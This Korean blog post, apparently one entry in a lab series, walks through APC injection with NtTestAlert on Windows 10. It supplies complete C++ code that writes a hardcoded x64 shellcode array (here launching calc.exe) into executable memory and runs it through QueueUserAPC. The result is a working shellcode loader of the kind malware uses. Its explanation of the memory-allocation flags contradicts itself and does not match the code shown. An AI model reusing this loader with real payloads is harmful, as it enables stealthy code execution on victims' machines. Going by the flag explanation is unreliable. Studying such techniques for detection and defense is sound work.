APC injection 실습 (2)
실습환경: windows 10 21H2 64bit
실습대상: notepad.exe
실습도구: visual studio 2022 17.1.1, Process Explorer v16.43
참고: (링크)
[+] APC Injection 실습 (2) 간단정리
- 윈도우 프로세스의 일시 중지 된 프로세스를 합법적으로 생성 (예: svchost.exe)
- 해당 프로세스(svchost.exe)에 메모리를 할당하고, 할당 받은 메모리 영역에 악성 코드를 씀
- 해당 프로세스(svchost.exe)의 메인 쓰레드에 비동기 프로시져 호출 (APC)을 대기
▶ APC는 알람 가능한 상태(alertable state)일 때만 프로세스를 실행할 수 있기 때문에, NtTestAlert 함수를 호출해 메인 쓰레드가 다시 시작되는 즉시 커널이 악성코드를 실행하도록 함.
실습 (2)에서는 NtTestAlert를 이용해볼 것이다.
NtTestAlert
- 문서화되어있지 않은 함수
- windows의 알림 매커니즘과 관련된 시스템 콜
- 스레드가 가지고 있는 보류중인 APC가 실행됨 → APC 큐가 비워짐
- 스레드가 Win32 시작주소를 실행하기 전에 NtTestAlert를 호출하여 대기중인 APC를 실행함.
실습 코드
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
// 전처리기 지시어 #pragma. 컴파일러에게 ntdll 라이브러리를 링크하도록 지시
#pragma comment(lib, "ntdll")
// NTAPI 호출 규약을 따르며, 반환 값은 NTSTATUS인 함수 포인터 타입을 정의함.
using myNtTestAlert = NTSTATUS(NTAPI*)();
unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
int main(int argc, char* argv[]) {
SIZE_T my_payload_len = sizeof(my_payload);
HMODULE hNtdll = GetModuleHandleA("ntdll");
myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(hNtdll, "NtTestAlert"));
LPVOID my_payload_mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(GetCurrentProcess(), my_payload_mem, my_payload, my_payload_len, NULL);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)my_payload_mem;
QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
testAlert();
return 0;
}
코드 설명
HMODULE hNtdll = GetModuleHandleA("ntdll");
myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(hNtdll, "NtTestAlert"));
GetProcAddress()를 통해서 ntdll 내 NtTestAlert 함수 주소를 얻는다.
그리고 그 주소를 myNtTestAlert 함수 포인터 타입으로 변환한 뒤 testAlert 변수에 저장한다.
즉,
testAlert 변수: NtTestAlert 함수를 가리키는 포인터가 저장
→ 이를 사용하여 런타임 중 함수를 동적으로 로드/사용 가능
LPVOID my_payload_mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(GetCurrentProcess(), my_payload_mem, my_payload, my_payload_len, NULL);
페이로드를 위한 메모리 공간을 할당해준 뒤, Write한다.
참고로 APC Injection 실습 (1) 에서는 메모리 할당 시 dwAllocationType 파라미터에 MEM_COMMIT | MEM_RESERVE를 사용했다.
그리고 실습 (2) 의 메모리 할당에서는 MEM_COMMIT만 사용한다.
이 이유는 함수가 다르기 때문이다.
# VirtualAlloc과 VirtualAlloc의 dwAllocationType이 다른 이유
실습 (1) 에서는 VirtualAlloc()을 통해 현재 프로세스의 가상 주소 공간에 메모리를 할당하고, 그 메모리에 대한 물리적 페이지를 할당하기 위해 MEM_COMMIT 플래그만 사용한다.
그러나 실습 (2) 에서는 다른 프로세스의 가상 주소 공간에 메모리를 할당하므로, 먼저 해당 메모리 영역을 예약해야 한다. MEM_RESERVE 플래그를 사용하여 예약한 후, MEM_COMMIT 플래그를 사용하여 해당 메모리를 물리적 페이지와 연결하여 할당한 것.
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)my_payload_mem;
QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
testAlert();
이제 QueueUserAPC() 사용해서 apcRoutine 함수를 APC queue에 주입한다. 대상은 GetCurrentThread().
그리고 NtTestAlert 호출
결과
코드를 컴파일한 뒤, 실행하면 바로 calc.exe가 실행된다.
위 사진을 찍을 새도 없었기에.. NtTestAlert 호출 전에 Sleep(5000) 걸어준 뒤에 찍었다.
[TIP] NTSTATUS 란?
출처: (링크)
커널 API 호출 후에 반환하는 결과
windows NT 시스템에서 내부적으로 사용하는 오류코드.
// 대표적인 값
- STATUS_SUCCESS: 성공
- STATUS_UNSUCCESSFUL: 실패
- STATUS_INVALID_PARAMETER: 인수를 잘못 넘겼다
- STATUS_ACCESS_DENIED: 접근 거부
- STATUS_ACCESS_VLOLATION: 잘못된 접근 시도
- STATUS_INVALID_INFO_CLASS: 정보 분류 값이 존재하지 않음
실습 (2)에서는 NtTestAlert를 위한 함수 포인터 반환 값으로 사용되었다.
'System > TTPs' 카테고리의 다른 글
DLL Hijacking 실습 (2) (0) | 2024.10.26 |
---|---|
APC Injection 실습 (1) (0) | 2023.03.30 |
3. APC(Asynchronous Procedure Call) Injection (0) | 2023.03.30 |
DLL Hijacking 실습 (4) - 리버스 쉘 (0) | 2023.03.30 |
DLL Hijacking 실습 (3) (0) | 2023.03.30 |